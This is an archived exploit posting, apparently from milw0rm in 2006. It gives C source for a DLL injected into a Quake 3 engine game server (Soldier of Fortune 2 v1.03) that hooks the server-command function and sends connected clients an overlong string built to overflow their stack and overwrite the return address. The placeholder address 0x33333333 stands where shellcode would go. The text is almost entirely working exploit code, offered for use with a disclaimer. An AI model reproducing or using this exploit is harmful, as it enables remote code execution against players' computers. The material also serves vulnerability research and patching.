Quake 3 Engine Client - 'CG_ServerCommand()' Remote Overflow

/*
Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The string is heavily filtered before the overflow occurs, so a lot of bytes get stripped. Might want to try alphanum shellcode..
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
	char *pVersionString;
	DWORD dwVersionStringAddr;
	DWORD dwSendServerCommandAddr;
	DWORD dwFillSize;
	DWORD dwNewEIP;
};

VersionStruct Versions[] = {
	{ "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333 },	//SoF2 1.03
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
{
	char szString[4096];
	char *pPtr = NULL;

	if(pVersion != NULL)
	{
		memset(szString, 0, sizeof(szString));
		pPtr = &szString[0];

		memset(pPtr, 'a', pVersion->dwFillSize);
		pPtr += pVersion->dwFillSize;

		memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
		pPtr += sizeof(DWORD);

		orig_SV_SendServerCommand(pCl, szString);
	}
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
	if(dwReason == DLL_PROCESS_ATTACH)
	{
		for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
		{
			if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
			{
				pVersion = &Versions[i];
				break;
			}
		}

		if(pVersion == NULL)
		{
			//Could not find correct version
			return 1;
		}

		DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr, (BYTE*)SV_SendServerCommand_Hook);
		_asm mov [orig_SV_SendServerCommand], eax
	}

	return 1;
}

// milw0rm.com [2006-07-02]